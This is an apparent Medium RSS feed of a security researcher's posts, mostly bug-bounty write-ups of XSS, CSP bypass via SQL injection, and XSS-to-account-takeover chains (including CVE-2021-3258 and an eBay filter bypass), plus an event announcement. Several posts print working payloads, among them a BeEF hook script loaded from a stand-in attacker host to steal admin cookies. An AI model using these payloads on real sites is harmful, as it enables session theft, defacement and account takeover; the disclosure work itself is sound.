<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nirmal Dahal - #Nittam on Medium]]></title>
        <description><![CDATA[Stories by Nirmal Dahal - #Nittam on Medium]]></description>
        <link>https://medium.com/@thenittam?source=rss-b7951b5213fa------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*LZ8B-cqRuEIWtEch4m50qw.jpeg</url>
            <title>Stories by Nirmal Dahal - #Nittam on Medium</title>
            <link>https://medium.com/@thenittam?source=rss-b7951b5213fa------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 19:40:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thenittam/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Pentester Nepal is stepping into its 13th year! ]]></title>
            <link>https://medium.com/pentesternepal/pentester-nepal-is-stepping-into-its-13th-year-48e56a458fe1?source=rss-b7951b5213fa------2</link>
            <guid isPermaLink="false">https://medium.com/p/48e56a458fe1</guid>
            <dc:creator><![CDATA[Nirmal Dahal - #Nittam]]></dc:creator>
            <pubDate>Wed, 05 Aug 2026 17:54:47 GMT</pubDate>
            <atom:updated>2026-08-05T17:54:47.223Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kD3eDh9T3Hoycryh3YNFrw.png" /></figure><p>For the past 13 years, Pentester Nepal has been built by the community, for the community. None of this would have been possible without the incredible support we’ve received from people like you whether by volunteering your time, sharing your knowledge, speaking at our events, providing financial or logistical support, or simply being an active member of the community. Thank you for being part of this journey.</p><p>This year, our goal is simple: <strong>to organize the best Pentester Nepal event we’ve ever hosted.</strong></p><blockquote><strong>We also want to be transparent about the challenges we face.</strong></blockquote><p>Although Pentester Nepal has always operated as a community initiative, we still don’t have a formal legal status. We are working towards registering as a non-profit organization but we consider that our responsibility and are <strong>not</strong> asking the community to fund that process.</p><p>However, because we are not yet registered, <em>securing sponsorships has become increasingly difficult</em>. Even though we have secured the venue, there are still significant costs involved in organizing a quality event <em>e.g. lunch, refreshments, badges, stickers, prizes, hacktivities, event materials, photography, and many other operational expenses.</em></p><p>Another challenge we’ve consistently faced is attendance. Every year, many people register but don’t show up, while others who genuinely wanted to attend miss the opportunity because seats were already reserved. Since the venue has a fixed capacity, we’d like to find a better way to ensure seats go to members who truly plan to participate.</p><p>This year, we’re also planning to make the event more interactive and engaging. Some of the ideas currently being explored include:</p><ul><li>Live Hacking demonstrations <em>(currently in discussion)</em></li><li>Panel discussions featuring experts from Industry, Government &amp; Nepal Police</li><li>Offensive vs. Defensive challenge sessions</li><li>Technical talks, lightning sessions, hacktivities and more community driven content</li></ul><p>These ideas are still under planning but our objective is to deliver a more practical, engaging and memorable experience than ever before.</p><p>To help recover the minimum event costs and improve attendance commitment, we’re exploring a <strong>community contribution model</strong>.</p><blockquote>NOTE: This is only a proposal and not a final decision. We’d genuinely like your feedback before moving forward.</blockquote><h3>Proposed Community Contribution Levels (300 Participants)</h3><p><strong>Community Benefactor</strong> <em>(10 participants)</em> — <strong>NPR 1,000<br>Patron</strong> <em>(40 participants)</em> — <strong>NPR 750<br>Supporter</strong> <em>(100 participants)</em> — <strong>NPR 500<br>Contributor</strong> <em>(100 participants)</em> — <strong>NPR 250<br>Community Pass</strong> <em>(50 participants)</em> — <strong>FREE</strong> <em>(Reserved for members who are unable to contribute financially.)</em></p><h3>Important</h3><p>This is <strong>not a ticketing system</strong>.</p><p>These are <strong>community contribution levels</strong> not ticket categories. Every attendee will receive <strong>exactly the same event experience</strong>, including technical sessions, meals, hacktivities, networking opportunities, swags <em>(subject to availability)</em> and full access throughout the event.</p><p>The <strong>only difference</strong> is <strong>seating priority</strong>, with <strong>Community Benefactors</strong> receiving the closest seating as a small token of appreciation for their generous support.</p><p>Whether you choose to become a <strong>Community Benefactor</strong>, <strong>Patron</strong>, <strong>Supporter</strong>, <strong>Contributor</strong> or attend through the <strong>Community Pass</strong>, you are an equally valued member of the Pentester Nepal community. Your contribution is simply a personal way of helping us organize a sustainable, high-quality event for everyone.</p><p>We will continue seeking <strong>corporate sponsorships</strong> regardless of this model. Organizations interested in supporting the event will have opportunities under our <strong>Title Sponsor, Platinum Sponsor, Gold Sponsor, Silver Sponsor,</strong> and <strong>Community Sponsor</strong> categories. Any sponsorship we receive will help improve the event experience and reduce the financial burden on the community.</p><p>This is <strong>not a profit-making initiative</strong>. Any surplus remaining after the event will be carried forward and used exclusively for future Pentester Nepal community activities such as workshops, meetups, CTFs and future annual events. To maintain transparency, we’ll publish a summary of the event’s income and expenses after the event.</p><p>Before we make a final decision, we’d love to hear your thoughts.</p><p><strong>Would you support this model?</strong></p><ul><li>Would you be willing to personally support the community through one of these contribution levels?</li><li>Are the proposed contribution amounts reasonable?</li><li>Do you have any suggestions that could make this model better or more sustainable?</li></ul><p>Your feedback will directly influence how we organize this year’s event.</p><p>Thank you for being part of Pentester Nepal’s journey over the last 13 years. Here’s to making our 13th anniversary event the best one yet. ❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=48e56a458fe1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pentesternepal/pentester-nepal-is-stepping-into-its-13th-year-48e56a458fe1">Pentester Nepal is stepping into its 13th year! 🎉</a> was originally published in <a href="https://medium.com/pentesternepal">Pentester Nepal</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MEGA Unlimited Cloud Storage Vulnerability]]></title>
            <link>https://thenittam.medium.com/mega-unlimited-cloud-storage-vulnerability-95986cb7944d?source=rss-b7951b5213fa------2</link>
            <guid isPermaLink="false">https://medium.com/p/95986cb7944d</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[mega]]></category>
            <dc:creator><![CDATA[Nirmal Dahal - #Nittam]]></dc:creator>
            <pubDate>Tue, 22 Nov 2022 13:16:41 GMT</pubDate>
            <atom:updated>2022-11-22T13:17:19.331Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YUxkZXZXJwoRf2PeZ61pVA.png" /></figure><p>Back in June 2022, I found a flaw in the MEGA cloud storage system that let me store more data than they permit for free accounts. I was able to store roughly 1300GB data in MEGA, despite the fact that the free account storage restriction for MEGA is 20GB.</p><p>Continue Reading:</p><p><a href="https://nirmaldahal.com.np/posts/2022/11/megas-unlimited-cloud-storage-vulnerability/">https://nirmaldahal.com.np/posts/2022/11/megas-unlimited-cloud-storage-vulnerability/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95986cb7944d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[leveraging the SQL injection to execute the XSS by evading CSP.]]></title>
            <link>https://thenittam.medium.com/leveraging-the-sql-injection-to-execute-the-xss-by-evading-csp-4640d187c107?source=rss-b7951b5213fa------2</link>
            <guid isPermaLink="false">https://medium.com/p/4640d187c107</guid>
            <category><![CDATA[thenittam]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[csp-bypass]]></category>
            <category><![CDATA[nittam]]></category>
            <dc:creator><![CDATA[Nirmal Dahal - #Nittam]]></dc:creator>
            <pubDate>Mon, 11 Jul 2022 19:30:18 GMT</pubDate>
            <atom:updated>2022-07-11T19:30:18.903Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*-Sts6YFtATaEnTBP8Eyr9g.png" /></figure><p>Although it sounds silly, I am dumb enough to do this.</p><h3>Introduction to content security policy (CSP)</h3><p>If you are unfamiliar with CSP, you should know more about it before reading further. The security header known as CSP, or content security policy, is the rules that help enhance security of the web applications against well-known security flaws like clickjacking, cross-site scripting, referrer leakage attacks and so on. As required by secure design architecture your policy should have directives like default-src and script-src.</p><p>But occasionally, a misconfiguration can result in CSP bypass. One of the best resources to learn about CSP header is as below:</p><blockquote><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP</a>.</blockquote><h3>Let’s get started</h3><p>So, as I was scanning one of the scopes for vulnerabilities, a CSP policy that had been put in place caught my attention. Since CSP had been implemented and CSP policy was attempting to prevent XSS attacks, I decided not to waste my time into it any more and instead looked for another vulnerability. Fortunately, I discovered SQL injection, and was able to dump the site’s database. However, my inner daemon was never satisfied with the SQL injection findings and always wanted to execute XSS via evading the CSP.</p><blockquote>But why on earth would you exploit CSP to obtain a single popup when you have already exploited of more critical vulnerabilities?</blockquote><p>Because it’s fun to bypass security precautions but no input fields or parameters were XSS-vulnerable. So, I took leverage of a already found SQL injection vulnerability and created a SQLi payload that would return HTML as a response and includes an XSS payload. The SQLi payload had the following XSS payload types:</p><blockquote><strong><em>Inline Script : </em></strong>&lt;script&gt;alert()&lt;/script&gt;</blockquote><blockquote><strong><em>Remote Script : </em></strong>&lt;script src=’https://anything.redact.com/index.js’&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5gBFc2YHL9mvPPVaMnSoyA.png" /></figure><p>However above payloads failed to execute due to CSP policy and was unable to fetch my JS script in order to execute XSS based defacement page as well. So, I took another look at the CSP policy and found a loophole that would allow me to execute XSS. Next Time, I created a SQLi payload that would return the following XSS payload as an HTML response.</p><blockquote>&lt;script src=’https://thenittam.github.io/index.js’&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QWmqkmkDgIqVoEUBgRaPfw.png" /></figure><blockquote>I encounter successful defacement page based on XSS. But how in the world did it function with a different URL and the same payload?</blockquote><p>Let’s analyze the image below to understand how a successful XSS attack was carried out by evading CSP by leveraging SQL injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nTUO9WcwkIuF8_Dy8FeARg.png" /></figure><p>Above CSP policy were allowing the web application to receive resources from “*.github.io”, and * means wildcard, meaning any subdomain of the domain github.io is eligible to provide necessary content to the target site. I could not upload my malicious JS scripts to any other whitelisted domains expect the above mentioned one “*.github.io”. So, I immediately logon to my github account and created “thenittam.github.io” and hosted my XSS payload on “https://github.com/TheNittam/thenittam.github.io/index.js” and this is how the successful bypass of CSP executed by chaining with the SQL injection.</p><p><strong>Note:</strong> They had implemented CSP policy to prevent potential XSS attacks that might occur due to XSS vulnerable code. However, it was my responsibility to find every possible vulnerability, so I did this stupidity.</p><p>Thanks for reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4640d187c107" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2021–3258 | XSS To Account Takeover [Q2A Themes]]]></title>
            <link>https://medium.com/pentesternepal/cve-2021-3258-xss-to-account-takeover-q2a-themes-ed9578f65284?source=rss-b7951b5213fa------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed9578f65284</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[Nirmal Dahal - #Nittam]]></dc:creator>
            <pubDate>Sun, 07 Mar 2021 11:12:31 GMT</pubDate>
            <atom:updated>2021-03-07T11:12:31.936Z</atom:updated>
            <content:encoded><![CDATA[<p>Today I am going to share a POC (Proof of Concept) on a vulnerability that I found on a popular Forum Management System by Q2A. <em>Q2A is a free and open-source content management system to create Question &amp; Answer communities like StackOverflow or Yahoo Answers</em>. These types of management systems are used on sites where users ask questions to get answers from other users. Q2A provides high social engagement with comments, voting, following questions, tags and categories, users and has a powerful points-based reputation system.</p><h3>How did IT begin?</h3><p>The adventure began with a friend of mine asking me to resolve a problem that occurred on his site. I went to analyze the problem and I saw that the posts made on a page have some problems with its HTML. As I looked into the source of the page, I found that the title made on the post were being displayed on the meta of the webpage.</p><h3>GETTING READY FOR ACTION</h3><p>I made an account on my friend’s forum and tried to see if I could make something out of that error. So I tried to post something from my account. I posted something like <em>Test123</em> and the title was being pulled in the meta. So then I tried <em>“&gt;&lt;hr&gt;&lt;input type=”</em> and published it on the site in the form of a post. This payload created certain very noticeable changes.</p><h3>TIME TO EXECUTE</h3><p>Then I started to create my own payload to post it on the website. The payload included</p><blockquote><em>“&gt;&lt;script src=”http://STATIC_IP:3000/hook.js”&gt;&lt;/script&gt;Hacked!!!&lt;noscript type=”</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*OUsp18ZBkHoFR-A1DXY2JQ.png" /></figure><p>This payload was used to put a defacement page on the website and the <em>&lt;noscript type=”</em> was used to make all the other codes not working on the webpage.</p><h3>SHOW’S NOT OVER</h3><p>After the page was defaced, I had integrated a script taken from beef where if the admin tried to delete the post it would actually store the cookie session from the admin and the page would still remain defaced. There are a number of possibilities that could be done using beef. The victim can be exploited by the beef’s script by taking photos and videos of the victim.</p><p>Beef can also be used to compromise the victim’s computer if they were using a vulnerable browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*Cy3HmPx8C8L8LFm40cHcCA.png" /></figure><h3>FINAL SHOWDOWN</h3><p>After gaining the cookie stolen from the admin, I used it to log in to the site as admin, and boom</p><p>*You have been hacked*</p><h3>CONCLUSION</h3><p>Q2A forum was used by a mass number of users on their websites and all of them were vulnerable to this type of attack. The main cause of this vulnerability was a plugin by Q2A theme known as <strong><em>Ultimate SEO version 1.3</em>.</strong> The plugin was meant to boost the post that is created on the websites. This plugin made it easy for users to search for a particular topic and increase visits to the website. The plugin stored the title of the post into its meta and anything stored on the meta was not sanitized. I had reported this to <em>Towhid Nategheian</em> and got a reply that assured a fix in its next version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*Ob0zSL5PuVFJJuCSytRhvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*SKAdj-X3u1FluUJalqDyJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k2Htvk4O04FddVs7vm2VNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*ojj-E3KPAF6iwGJ2UxwZAA.png" /></figure><h3>Video POC</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F3cWOBmzDmLY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D3cWOBmzDmLY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F3cWOBmzDmLY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0ea56440cfc434b6d18a164b67a1ca9d/href">https://medium.com/media/0ea56440cfc434b6d18a164b67a1ca9d/href</a></iframe><p>Thank you all for reading this write up If you have any confusion about this article and if I had made any mistake please leave a comment 🙂 or message me on <a href="https://twitter.com/TheNittam">Twitter</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed9578f65284" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pentesternepal/cve-2021-3258-xss-to-account-takeover-q2a-themes-ed9578f65284">CVE-2021–3258 | XSS To Account Takeover [Q2A Themes]</a> was originally published in <a href="https://medium.com/pentesternepal">Pentester Nepal</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Facebook [SVG Locky Ransomware ] Analysis]]></title>
            <link>https://systemweakness.com/facebook-svg-locky-ransomware-analysis-baa1b5d2d23a?source=rss-b7951b5213fa------2</link>
            <guid isPermaLink="false">https://medium.com/p/baa1b5d2d23a</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[facebook]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[locky-ransomware]]></category>
            <dc:creator><![CDATA[Nirmal Dahal - #Nittam]]></dc:creator>
            <pubDate>Sun, 07 Mar 2021 10:58:43 GMT</pubDate>
            <atom:updated>2021-04-15T11:13:36.339Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*kRvMhgF3Nid1Wyd_wvMv_w.png" /></figure><p><em>This Is What Actually Facebook’s SVG Malware Is Doing. We Had Used W3School’s IDE While Analyzing The Malicious SVG File. We Had Also Changed Some Code Of That Malicious SVG’s File For Decryption Purpose, The Values Have Been Decrypted From The SVG File.</em></p><ul><li>After sending the SVG file could have been possibly been auto-loaded or could have required some user interaction.</li><li>It had been re-directed to [ mourid.com/php/trust.php ], as it was the place for a malicious extension.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*eVo3Gq6WSd_UFVdPwYk0wg.jpeg" /></figure><ul><li>After loading the page, it looked like a YouTube page. And a JavaScript alert pops out to install an extension.</li><li>The extension had been used for spreading the malware, and could also have been the backdoor for the attacker spreading ransomware.</li><li>The malware analysis has also been done by Payload Security, We can share the link if anyone is interested.</li></ul><p>This Analysis Was Done By Me &amp; Samir Bro. While Analyzing This SVG Malware I Got Blocked By Facebook From Using Some Features Of Facebook Like Open Graph Actions Etc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*FqrTzLs7sqT1NNLqM_-Jxg.jpeg" /></figure><p>Thank You For Reading This Article 🙂</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=baa1b5d2d23a" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/facebook-svg-locky-ransomware-analysis-baa1b5d2d23a">Facebook [SVG Locky Ransomware ] Analysis</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ByPassing eBay XSS Protection]]></title>
            <link>https://medium.com/pentesternepal/bypassing-ebay-xss-protection-8cf73466ba0f?source=rss-b7951b5213fa------2</link>
            <guid isPermaLink="false">https://medium.com/p/8cf73466ba0f</guid>
            <category><![CDATA[xss-filter-bypass]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Nirmal Dahal - #Nittam]]></dc:creator>
            <pubDate>Sun, 07 Mar 2021 10:45:43 GMT</pubDate>
            <atom:updated>2021-03-07T11:13:49.653Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*s7UHmUS6j1hpxSFHArY-Ew.png" /></figure><p>Hi, there today I want to share small proof of concept regarding “Reflective Cross-Site Scripting [ R-XSS ]” which I had found on eBay back in 2016. I am not an active participant in bug bounty programs, but one day I had finished all my office works so I was surfing on Facebook and received a message from my brother, Samir, asking for advice regarding some musical instruments. The message contained an eBay link. Once on eBay, I logged into the site to view details and suddenly noticed the “Help &amp; Contact” menu, I followed that menu and went to the “Customer Service” page where I saw a search field, I decided to check for “Cross-Site Scripting [ XSS ]” vulnerability and unexpectedly found POST type R-XSS.</p><h3><strong>Testing For XSS</strong></h3><p>As all security researchers do, I also have certain pathways to find vulnerabilities. I always use<em>’&gt;Test12345&lt;“</em> as it contains a number, letter, and syntax. This allows me to see how a website handles user inputs. Some questions like “is the user input sanitized? how sensitive is user input?” can be answered from this idea.</p><h3><strong>Finding XSS</strong></h3><p>Once I noticed the “Customer service” page with a search field, I used that specific text in the field. I noticed that the value was being reflected without <strong><em>[ &gt;&lt; “ ]</em></strong>. I immediately figured out that eBay must have been replacing those syntaxes in White Space. The output in View-Source was like below:</p><blockquote>&lt;input type=”text” id=”query“ role=”combobox” name=”query” value=”<strong><em>‘ Test12345 </em></strong>” title=”Search by help topic, keywords, or phrases” aria-expanded=”false” aria-autocomplete=”list” aria-activedescendant=”” aria-value=”<strong><em>‘ Test12345 </em></strong>” autocomplete=”off” aria-owns=”popup” class=”dText3“&gt;&lt;/input&gt;</blockquote><p>To test and understand the application further, I used this payload <strong><em>“/&gt;&lt;script&gt;alert(1);&lt;/script&gt;&lt;input type=”</em></strong></p><p>however, the syntax was still filtered by eBay. So I encoded it in URL ENCODE format:</p><p><strong><em>%22%2f%3E%3Cscript%3Ealert%281%29%3B%3C%2fscript%3E%3Cinput%20type%3D%22</em></strong></p><p>After that the page source for that specific part was as follow:</p><blockquote>&lt;input type=”text” id=”query“ role=”combobox” name=”query” value=”<em>” script alert 1 script input type=”</em>” title=”Search by help topic, keywords, or phrases” aria-expanded=”false” aria-autocomplete=”list” aria-activedescendant=”” aria-value=”<em>” script alert 1 script input type=”</em>” autocomplete=”off” aria-owns=”popup” class=”dText3“&gt;&lt;/input&gt;</blockquote><p>By seeing this, I realized that eBay was also filtering URL encoded syntax except for <strong><em>%22</em></strong> &amp; <strong><em>%3D</em></strong><em> </em>which decoded value is <strong><em>“</em></strong> and <strong><em>=</em></strong></p><p>After these research were made, I tweaked my payload a little to: <strong><em>%22 onMouseOver=%22prompt(document.cookie)</em></strong> which decodes to <em>“ onMouseOver=“prompt(document.cookie)</em></p><p>Finally, after this, the XSS attack was successful and all was good to go.</p><blockquote><em>&lt;input type=”text” id=”query“ role=”combobox” name=”query” value=”</em> ” onMouseOver=”prompt(document.cookie)<em>” title=”Search by help topic, keywords, or phrases” aria-expanded=”false” aria-autocomplete=”list” aria-activedescendant=”” aria-value=”</em> ” onMouseOver=”prompt(document.cookie)<em>” autocomplete=”off” aria-owns=”popup” class=”dText3“&gt;&lt;/input&gt;</em></blockquote><blockquote>Almost all eBay domains were vulnerable at that time including eBay.in, eBay.com.au etc</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*s2Nh74ka9mTSfyIGk45wwQ.png" /><figcaption><strong>Reply From eBay Security Team</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8eoNAqpIn0WwqIAwElM_Lw.png" /><figcaption><strong>Acknowledgment By eBay</strong></figcaption></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fs0Abd7h6vpg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Ds0Abd7h6vpg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fs0Abd7h6vpg%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c76a54415f6eb401f772e5efd1a9db9d/href">https://medium.com/media/c76a54415f6eb401f772e5efd1a9db9d/href</a></iframe><p>Thank you all for reading this write-up. Please feel free to ask if you have any confusion about this article and if I had made any mistake please leave a comment 🙂 or message me on <a href="https://twitter.com/TheNittam">Twitter</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8cf73466ba0f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pentesternepal/bypassing-ebay-xss-protection-8cf73466ba0f">ByPassing eBay XSS Protection</a> was originally published in <a href="https://medium.com/pentesternepal">Pentester Nepal</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS Is Love ❤ !]]></title>
            <link>https://medium.com/cryptogennepal/xss-is-love-9186198b32ec?source=rss-b7951b5213fa------2</link>
            <guid isPermaLink="false">https://medium.com/p/9186198b32ec</guid>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[paste-jacking]]></category>
            <category><![CDATA[thenittam]]></category>
            <dc:creator><![CDATA[Nirmal Dahal - #Nittam]]></dc:creator>
            <pubDate>Thu, 26 Dec 2019 10:52:56 GMT</pubDate>
            <atom:updated>2019-12-26T10:52:56.511Z</atom:updated>
            <content:encoded><![CDATA[<h3>XSS Is Love ❤ !</h3><p>Sometime back I was testing a private site where I was able to execute an XSS. By using the previous XSS I managed to steal CSRF token to bypass CSRF and made an XHR request which leads to another XSS in a different endpoint. After chaining both XSSes It allowed me to execute javascript remotely from the attacker’s control panel(Mine). I used nodejs to deliver my malicious commands from the control panel to the target’s browser. I could even steal credentials, any keystrokes, change whole security questions, passphrase and what not of the target. So, that target won’t be able to get their account back but to execute this all there was one dependency, the first XSS was self XSS. To make it workable, the attacker must have to trick target to copy-paste my payload for which I used pastejacking.</p><p>I can’t show you real proof of concept. So, To simulate the attack I made a replica of that site which is not functionally as same as a real system but the attack flow was similar as shown in the video.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FEzmUqalwwU8%3Ffeature%3Doembed&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DEzmUqalwwU8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FEzmUqalwwU8%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/49c2c09a457b3090ed94df2877c52fd2/href">https://medium.com/media/49c2c09a457b3090ed94df2877c52fd2/href</a></iframe><p>Cheers!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9186198b32ec" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cryptogennepal/xss-is-love-9186198b32ec">XSS Is Love ❤ !</a> was originally published in <a href="https://medium.com/cryptogennepal">CryptoGen Nepal</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[R-XSS Leading CSRF Bypass To Account Takeover]]></title>
            <link>https://medium.com/cryptogennepal/r-xss-leading-csrf-bypass-to-account-takeover-aac738c043d?source=rss-b7951b5213fa------2</link>
            <guid isPermaLink="false">https://medium.com/p/aac738c043d</guid>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[xs]]></category>
            <dc:creator><![CDATA[Nirmal Dahal - #Nittam]]></dc:creator>
            <pubDate>Tue, 26 Nov 2019 16:02:43 GMT</pubDate>
            <atom:updated>2019-11-26T16:02:43.268Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Aug 14, </strong>I was testing one web application and going through error parameters and then found a <strong>Reflected XSS</strong>.</p><blockquote><strong><em>http://Redact/Redact.EXT?errorMsg=&lt;Vulnerable End-point&gt;</em></strong></blockquote><p>I did not think to find an <strong>R-XSS</strong> was the kind of critical vulnerability I was looking for. Next, I was going to go for <strong>CSRF</strong> but <strong><em>the site had CSRF protection</em></strong> so that was not possible. Continuing my search, I stumbled upon a page where you could change passwords but there was no “<strong>Old Password”</strong> field. Due to the CSRF protection, an attacker could not remotely change to a new password. Then I had an idea and started working on a script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*shBK8--YsUdZhOn9sMnfAg.png" /></figure><p>This script was created to steal the CSRF Token value from the web application. Using AJAX, the <strong>CSRF Token</strong> was sent to <strong>process.php,</strong> write<strong> </strong>stolen token in <strong>write.php</strong> finally then redirect it to <strong>csrf.php</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*K3nlC7VdGpN807_dhpK6Lg.png" /></figure><p>When the target was redirected to <strong>csrf.php</strong>, the form used to get auto-submitted. The form contained CSRF token from <strong>write.php</strong>. After the target clicked on the R-XSS link, it stole the CSRF token and simultaneously changed the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*UkJpPBxXD4V1B7nMytFTvA.png" /></figure><p><strong>Result:</strong><br>Using the R-XSS vulnerability and couple line of JS and PHP I was able to steal the CSRF token and change the password of the victim.</p><p><strong>P.S</strong><br>The initial script was very long because I was in a rush but this short final version can also be used to recreate this POC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*F6toVwTbtKaXBE0pGC9Fuw.png" /></figure><p><strong>Request</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bo23zgBTS4KO9tfPZWbPhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*TD3T_wM0Nz06kF_ygoX0rg.png" /></figure><p>Thank you for reading this article…<br><strong>Happy Hacking :)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aac738c043d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cryptogennepal/r-xss-leading-csrf-bypass-to-account-takeover-aac738c043d">R-XSS Leading CSRF Bypass To Account Takeover</a> was originally published in <a href="https://medium.com/cryptogennepal">CryptoGen Nepal</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS on Samy.pl (Samy Kamkar)]]></title>
            <link>https://medium.com/cryptogennepal/xss-on-samy-pl-samy-kamkar-dc36e24da014?source=rss-b7951b5213fa------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc36e24da014</guid>
